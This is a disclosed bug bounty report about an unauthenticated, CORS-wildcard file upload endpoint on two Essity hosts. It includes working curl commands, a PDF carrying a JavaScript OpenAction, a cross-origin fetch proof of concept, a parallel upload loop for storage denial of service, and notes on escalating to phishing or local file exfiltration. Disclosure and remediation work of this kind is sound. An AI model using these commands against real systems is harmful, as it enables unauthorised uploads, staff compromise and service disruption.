Skip to content
File upload Disclosed report Beginner

Unauthenticated File Upload with CORS Wildcard and No Rate Limiting on ████████ and ████████

An unauthenticated file upload endpoint on two hosts accepted arbitrary files, including PDFs with embedded JavaScript, and returned a wildcard CORS header. An attacker could silently upload malicious files from any website and potentially deliver them to staff or exhaust storage.

matty69v Follow

Originally disclosed on HackerOne

High 7.8 View original
  • Disclosed after 33 days

Summary

The POST /Umbraco/Api/ContactApi/SaveAttachment endpoint on both ████████ and ████████ allows unauthenticated file uploads without CAPTCHA, without rate limiting, and with a CORS access-control-allow-origin: * header. This combination allows any website on the internet to silently upload malicious files (including PDFs with embedded JavaScript) to Essity's backend storage.

Affected Assets

  • https://████████/Umbraco/Api/ContactApi/SaveAttachment
  • https://████████/Umbraco/Api/ContactApi/SaveAttachment

Steps To Reproduce

1. Basic unauthenticated file upload (PNG)

Bash
# Create a minimal valid PNG
printf '\x89PNG\r\n\x1a\n' > /tmp/test.png

# Upload without any authentication
curl -sk -X POST 'https://████████/Umbraco/Api/ContactApi/SaveAttachment' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -F 'file=@/tmp/test.png;type=image/png;filename=test.png'

Expected: Error or authentication required Actual: ["2e1ab0fe-db41-45ee-ad63-954edf814f77_test.png"] (file stored successfully)

2. Malicious PDF with JavaScript OpenAction

Bash
# Create a PDF that executes JavaScript when opened
cat > /tmp/malicious.pdf << 'EOF'
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R /OpenAction 4 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>
endobj
4 0 obj
<< /Type /Action /S /JavaScript /JS (app.alert('matty69v XSS PoC - document.domain')) >>
endobj
xref
0 5
0000000000 65535 f 
0000000009 00000 n 
0000000074 00000 n 
0000000120 00000 n 
0000000179 00000 n 
trailer
<< /Size 5 /Root 1 0 R >>
startxref
285
%%EOF
EOF

curl -sk -X POST 'https://████████/Umbraco/Api/ContactApi/SaveAttachment' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -F 'file=@/tmp/malicious.pdf;type=application/pdf;filename=matty69v_poc.pdf'

Result: ["af8fb7a6-1701-4574-ad20-a9429281e9f9_matty69v_poc.pdf"] (malicious PDF stored)

3. CORS wildcard verification (cross-origin upload from any domain)

Bash
# Preflight check from evil origin
curl -sk -X OPTIONS 'https://████████/Umbraco/Api/ContactApi/SaveAttachment' \
  -H 'Origin: https://evil.attacker.com' \
  -H 'Access-Control-Request-Method: POST' \
  -H 'Access-Control-Request-Headers: X-Requested-With'

Response headers include:

access-control-allow-origin: *

This means any website can upload files via JavaScript fetch/XMLHttpRequest.

4. Cross-origin PoC (browser-based exploitation)

Save and open this HTML file in any browser:

HTML
<!DOCTYPE html>
<html>
<head><title>Essity Upload CORS PoC - matty69v</title></head>
<body>
<h1>Cross-Origin File Upload PoC</h1>
<button onclick="upload()">Upload Malicious PDF to ████████</button>
<pre id="result"></pre>
<script>
async function upload() {
  // Create a PDF with JavaScript payload
  const pdfContent = `%PDF-1.4
1 0 obj << /Type /Catalog /Pages 2 0 R /OpenAction 4 0 R >> endobj
2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj
3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >> endobj
4 0 obj << /Type /Action /S /JavaScript /JS (app.alert('XSS via CORS upload')) >> endobj
xref
0 5
trailer << /Size 5 /Root 1 0 R >>
startxref
285
%%EOF`;
  
  const blob = new Blob([pdfContent], {type: 'application/pdf'});
  const formData = new FormData();
  formData.append('file', blob, 'cors_poc.pdf');
  
  const resp = await fetch('https://████████/Umbraco/Api/ContactApi/SaveAttachment', {
    method: 'POST',
    headers: {'X-Requested-With': 'XMLHttpRequest'},
    body: formData
  });
  const text = await resp.text();
  document.getElementById('result').textContent = 'Upload response: ' + text;
}
</script>
</body>
</html>

5. No rate limiting (Storage DoS)

Bash
# 10 concurrent 10MB uploads - all succeed
for i in $(seq 1 10); do
  dd if=/dev/urandom bs=1024 count=10240 2>/dev/null | \
  (printf '\x89PNG\r\n\x1a\n'; cat) > /tmp/big_${i}.png
  curl -sk -X POST 'https://████████/Umbraco/Api/ContactApi/SaveAttachment' \
    -H 'X-Requested-With: XMLHttpRequest' \
    -F "file=@/tmp/big_${i}.png;type=image/png;filename=flood_${i}.png" &
done
wait
# All 10 uploads succeed (100MB stored in ~6 seconds)

6. Same vulnerability on ████████

Bash
curl -sk -X POST 'https://████████/Umbraco/Api/ContactApi/SaveAttachment' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -F 'file=@/tmp/malicious.pdf;type=application/pdf;filename=poc.pdf'
# Returns: ["e010e9fb-d06d-4cf8-afcd-af814b8b45cd_poc.pdf"]

Confirmed Test Results

Test ████████ ████████
PNG upload (no auth) ACCEPTED ACCEPTED
PDF upload (no auth) ACCEPTED ACCEPTED
PDF with JS OpenAction ACCEPTED ACCEPTED
CORS wildcard Confirmed Confirmed
Rate limit (5 in 2s) No limit No limit
10x concurrent 10MB All succeed Not tested

Impact

An attacker can abuse this vulnerability to:

  1. Deliver malicious PDFs to Essity staff: When backoffice staff reviews contact form submissions and opens the attached PDF, the embedded JavaScript executes in Adobe Reader context. This can be escalated to:

    • app.launchURL() for phishing attacks
    • FormCalc url.loadFile() for local file exfiltration from the staff workstation
    • In browser-based PDF viewers: potential XSS in the backoffice origin
  2. Storage Denial of Service: With no authentication, no rate limit, and 14MB max file size, an attacker can write ~50GB/hour to Essity's storage from a single IP. With parallelism: unlimited. Cost to attacker: zero.

  3. Cross-Origin Exploitation: The CORS wildcard means an attacker only needs to get any Essity employee (or any internet user) to visit their page. The upload happens silently in the background, requiring zero user interaction beyond visiting an attacker-controlled page.

Remediation

  1. Require authentication (session cookie) for file uploads
  2. Implement server-side reCAPTCHA validation
  3. Add rate limiting (e.g., max 3 uploads per IP per minute)
  4. Scan uploaded files for malicious content (PDF JS, polyglots)
  5. Replace access-control-allow-origin: * with specific allowed origins
  6. Implement file size quota per session/IP

The original report as published on HackerOne, by matty69v. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the upload endpoint was designed for a public contact form and never enforced authentication, origin restrictions, rate limits or content checks.

Impact

An attacker could silently upload malicious PDFs from any website, potentially executing JavaScript when staff open them, and could write large volumes of data to storage without limit.

What the attacker needed

No account needed; victim visits attacker page for CORS abuse; staff must open uploaded PDF for code execution

The fix

The endpoint should require authentication, validate CAPTCHA server-side, apply rate limits and quotas, scan uploads for active content, and replace the wildcard CORS header with specific allowed origins.

How it was found

  1. Send a POST request to the SaveAttachment endpoint with a PNG file and no authentication.
  2. Observe that the server stores the file and returns its generated name.
  3. Upload a PDF containing a JavaScript OpenAction and see it accepted.
  4. Send an OPTIONS preflight from an arbitrary origin and observe the wildcard CORS header.
  5. Upload many large files concurrently and observe that all succeed with no rate limit.
  6. Repeat the upload against the second host and confirm the same behaviour.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A file upload endpoint is a place where a website accepts files from visitors. Here it accepted files from anyone, without asking them to log in, and it told every other website that they were allowed to send files to it too. That means a malicious page could quietly push files onto the company's servers, and if staff later opened one of those files it could run code on their computer.

What is File upload?

An upload feature accepts a file that the server or other users' browsers then treat as code or as something trusted.

More by matty69v

View all

16 more disclosed reports, best first.

More from Essity

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Unrestricted file upload

The lesson behind this report.

An upload feature accepts a file that the server or other users' browsers then treat as code or as something trusted.